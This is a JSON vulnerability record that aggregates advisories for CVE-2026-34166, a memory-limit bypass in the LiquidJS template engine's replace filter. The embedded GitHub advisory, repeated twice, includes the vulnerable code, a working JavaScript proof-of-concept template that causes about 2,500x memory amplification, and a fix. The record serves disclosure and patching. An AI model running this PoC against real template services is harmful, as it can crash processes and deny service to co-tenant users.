{"id":"CVE-2026-34166","aliases":["EUVD-2026-20554","GHSA-mmg9-6m6j-jqqx"],"status":"published","title":"LiquidJS has a Memory Limit Bypass via Quadratic Amplification in `replace` Filter","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.3, the replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions. This vulnerability is fixed in 10.25.3.","severity":{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00514,"percentile":0.44136,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400"],"published":"2026-04-08T15:00:29Z","modified":"2026-10-28T02:30:55Z","fixes":[{"ecosystem":"npm","package":"liquidjs","fixed_in":["10.25.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"liquidjs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"10.25.2"},{"fixed":"10.25.3"}]}]},{"source":"osv","ecosystem":"npm","package":"liquidjs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.25.3"}]}]}],"products":[{"vendor":"harttle","product":"liquidjs"},{"vendor":"liquidjs","product":"liquidjs"}],"references":[{"url":"https://github.com/harttle/liquidjs/security/advisories/GHSA-mmg9-6m6j-jqqx","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/harttle/liquidjs/commit/abc058be0f33d6372cd2216f4945183167abeb25","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/harttle/liquidjs/releases/tag/v10.25.3","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34166","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-mmg9-6m6j-jqqx"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34166.json","tags":["advisory"]},{"url":"https://github.com/harttle/liquidjs","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-34166","title":"LiquidJS has a Memory Limit Bypass via Quadratic Amplification in `replace` Filter","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.3, the replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions. This vulnerability is fixed in 10.25.3.","status":"published","published":"2026-04-08T17:52:05.849Z","modified":"2026-04-10T20:37:03.164Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"low","assessor":"cna"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:20:13.962274Z"}],"euvd":[{"id":"EUVD-2026-20554","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.3, the replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions. This vulnerability is fixed in 10.25.3.","status":"published","published":"2026-04-08T17:52:05Z","modified":"2026-04-10T20:37:03Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"low"}],"updated_at":"2026-11-02T19:24:29.371024Z"}],"ghsa":[{"id":"GHSA-mmg9-6m6j-jqqx","title":"LiquidJS Has Memory Limit Bypass via Quadratic Amplification in `replace` Filter","description":"## Summary\n\nThe `replace` filter in LiquidJS incorrectly accounts for memory usage when the `memoryLimit` option is enabled. It charges `str.length + pattern.length + replacement.length` bytes to the memory limiter, but the actual output from `str.split(pattern).join(replacement)` can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the `memoryLimit` DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions.\n\n## Details\n\nThe vulnerable code is in `src/filters/string.ts:137-142`:\n\n```typescript\nexport function replace (this: FilterImpl, v: string, pattern: string, replacement: string) {\n  const str = stringify(v)\n  pattern = stringify(pattern)\n  replacement = stringify(replacement)\n  this.context.memoryLimit.use(str.length + pattern.length + replacement.length)  // BUG: accounts for inputs, not output\n  return str.split(pattern).join(replacement)  // actual output can be quadratically larger\n}\n```\n\nThe `memoryLimit.use()` call charges only the sum of the three input lengths. However, the `str.split(pattern).join(replacement)` operation produces output of size:\n\n```\n(number_of_occurrences * replacement.length) + non_matching_characters\n```\n\nWhen every character in `str` matches `pattern` (e.g., `str` = 5,000 `a`s, `pattern` = `a`), there are 5,000 occurrences. With a 5,000-character replacement string, the output is `5000 * 5000 = 25,000,000` characters, while only `5000 + 1 + 5000 = 10,001` bytes are charged to the limiter.\n\nThe `Limiter` class at `src/util/limiter.ts:3-22` is a simple accumulator — it only checks at the time `use()` is called and has no post-hoc validation of actual memory allocated.\n\nThe `memoryLimit` option defaults to `Infinity` (`src/liquid-options.ts:198`), so this only affects deployments that explicitly enable memory limiting to protect against untrusted template input.\n\n## PoC\n\n```javascript\nconst { Liquid } = require('liquidjs');\n\n// User explicitly enables memoryLimit for DoS protection (10MB)\nconst engine = new Liquid({ memoryLimit: 1e7 });\n\nconst inputLen = 5000;\nconst aStr = 'a'.repeat(inputLen);\nconst bStr = 'b'.repeat(inputLen);\n\n// Template that should be blocked by 10MB memory limit\nconst tpl = engine.parse(\n  `{%- assign s = \"${aStr}\" -%}` +\n  `{%- assign r = \"${bStr}\" -%}` +\n  `{{ s | replace: \"a\", r }}`\n);\n\n// This should throw \"memory alloc limit exceeded\" but succeeds\nconst result = engine.renderSync(tpl);\n\nconsole.log('Memory limit: 10,000,000 bytes');\nconsole.log('Memory charged:', 10001, 'bytes');\nconsole.log('Actual output:', result.length, 'bytes');  // 25,000,000 bytes\nconsole.log('Amplification:', Math.round(result.length / 10001) + 'x');\n// Output: Amplification: 2500x — completely bypasses the 10MB limit\n```\n\n## Impact\n\nUsers who deploy LiquidJS with `memoryLimit` enabled to process untrusted templates (e.g., multi-tenant SaaS platforms allowing custom templates) are not protected against memory exhaustion via the `replace` filter. An attacker who can author templates can allocate ~2,500x more memory than the configured limit allows, potentially causing:\n\n- Node.js process out-of-memory crashes\n- Denial of service for co-tenant users on the same process\n- Resource exhaustion on the hosting infrastructure\n\nThe impact is limited to availability (no confidentiality or integrity impact), and requires both non-default configuration (`memoryLimit` enabled) and template authoring access.\n\n## Recommended Fix\n\nAccount for the actual output size in the memory limiter by calculating the number of occurrences:\n\n```typescript\nexport function replace (this: FilterImpl, v: string, pattern: string, replacement: string) {\n  const str = stringify(v)\n  pattern = stringify(pattern)\n  replacement = stringify(replacement)\n  const parts = str.split(pattern)\n  const outputSize = str.length + (parts.length - 1) * (replacement.length - pattern.length)\n  this.context.memoryLimit.use(outputSize)\n  return parts.join(replacement)\n}\n```\n\nThis computes the exact output size: the original string length plus, for each occurrence, the difference between the replacement and pattern lengths. The `split()` result is reused to avoid computing it twice.","status":"published","published":"2026-04-08T15:00:29Z","modified":"2026-04-09T14:28:19Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"low"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:39:51.193071Z"}],"nvd":[{"id":"CVE-2026-34166","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.3, the replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions. This vulnerability is fixed in 10.25.3.","status":"published","published":"2026-04-08T19:25:21.4Z","modified":"2026-07-24T22:10:00.14Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"low","assessor":"secondary"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"primary"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:12:13.535987Z"}],"osv":[{"id":"CVE-2026-34166","title":"LiquidJS has a Memory Limit Bypass via Quadratic Amplification in `replace` Filter","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.3, the replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions. This vulnerability is fixed in 10.25.3.","status":"published","published":"2026-04-08T17:52:05.849Z","modified":"2026-10-28T02:30:55.042051021Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"low"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:45:02.247031Z"},{"id":"GHSA-mmg9-6m6j-jqqx","title":"LiquidJS Has Memory Limit Bypass via Quadratic Amplification in `replace` Filter","description":"## Summary\n\nThe `replace` filter in LiquidJS incorrectly accounts for memory usage when the `memoryLimit` option is enabled. It charges `str.length + pattern.length + replacement.length` bytes to the memory limiter, but the actual output from `str.split(pattern).join(replacement)` can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the `memoryLimit` DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions.\n\n## Details\n\nThe vulnerable code is in `src/filters/string.ts:137-142`:\n\n```typescript\nexport function replace (this: FilterImpl, v: string, pattern: string, replacement: string) {\n  const str = stringify(v)\n  pattern = stringify(pattern)\n  replacement = stringify(replacement)\n  this.context.memoryLimit.use(str.length + pattern.length + replacement.length)  // BUG: accounts for inputs, not output\n  return str.split(pattern).join(replacement)  // actual output can be quadratically larger\n}\n```\n\nThe `memoryLimit.use()` call charges only the sum of the three input lengths. However, the `str.split(pattern).join(replacement)` operation produces output of size:\n\n```\n(number_of_occurrences * replacement.length) + non_matching_characters\n```\n\nWhen every character in `str` matches `pattern` (e.g., `str` = 5,000 `a`s, `pattern` = `a`), there are 5,000 occurrences. With a 5,000-character replacement string, the output is `5000 * 5000 = 25,000,000` characters, while only `5000 + 1 + 5000 = 10,001` bytes are charged to the limiter.\n\nThe `Limiter` class at `src/util/limiter.ts:3-22` is a simple accumulator — it only checks at the time `use()` is called and has no post-hoc validation of actual memory allocated.\n\nThe `memoryLimit` option defaults to `Infinity` (`src/liquid-options.ts:198`), so this only affects deployments that explicitly enable memory limiting to protect against untrusted template input.\n\n## PoC\n\n```javascript\nconst { Liquid } = require('liquidjs');\n\n// User explicitly enables memoryLimit for DoS protection (10MB)\nconst engine = new Liquid({ memoryLimit: 1e7 });\n\nconst inputLen = 5000;\nconst aStr = 'a'.repeat(inputLen);\nconst bStr = 'b'.repeat(inputLen);\n\n// Template that should be blocked by 10MB memory limit\nconst tpl = engine.parse(\n  `{%- assign s = \"${aStr}\" -%}` +\n  `{%- assign r = \"${bStr}\" -%}` +\n  `{{ s | replace: \"a\", r }}`\n);\n\n// This should throw \"memory alloc limit exceeded\" but succeeds\nconst result = engine.renderSync(tpl);\n\nconsole.log('Memory limit: 10,000,000 bytes');\nconsole.log('Memory charged:', 10001, 'bytes');\nconsole.log('Actual output:', result.length, 'bytes');  // 25,000,000 bytes\nconsole.log('Amplification:', Math.round(result.length / 10001) + 'x');\n// Output: Amplification: 2500x — completely bypasses the 10MB limit\n```\n\n## Impact\n\nUsers who deploy LiquidJS with `memoryLimit` enabled to process untrusted templates (e.g., multi-tenant SaaS platforms allowing custom templates) are not protected against memory exhaustion via the `replace` filter. An attacker who can author templates can allocate ~2,500x more memory than the configured limit allows, potentially causing:\n\n- Node.js process out-of-memory crashes\n- Denial of service for co-tenant users on the same process\n- Resource exhaustion on the hosting infrastructure\n\nThe impact is limited to availability (no confidentiality or integrity impact), and requires both non-default configuration (`memoryLimit` enabled) and template authoring access.\n\n## Recommended Fix\n\nAccount for the actual output size in the memory limiter by calculating the number of occurrences:\n\n```typescript\nexport function replace (this: FilterImpl, v: string, pattern: string, replacement: string) {\n  const str = stringify(v)\n  pattern = stringify(pattern)\n  replacement = stringify(replacement)\n  const parts = str.split(pattern)\n  const outputSize = str.length + (parts.length - 1) * (replacement.length - pattern.length)\n  this.context.memoryLimit.use(outputSize)\n  return parts.join(replacement)\n}\n```\n\nThis computes the exact output size: the original string length plus, for each occurrence, the difference between the replacement and pattern lengths. The `split()` result is reused to avoid computing it twice.","status":"published","published":"2026-04-08T15:00:29Z","modified":"2026-09-10T03:51:02.413692991Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"low"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:52.170928Z"}]}}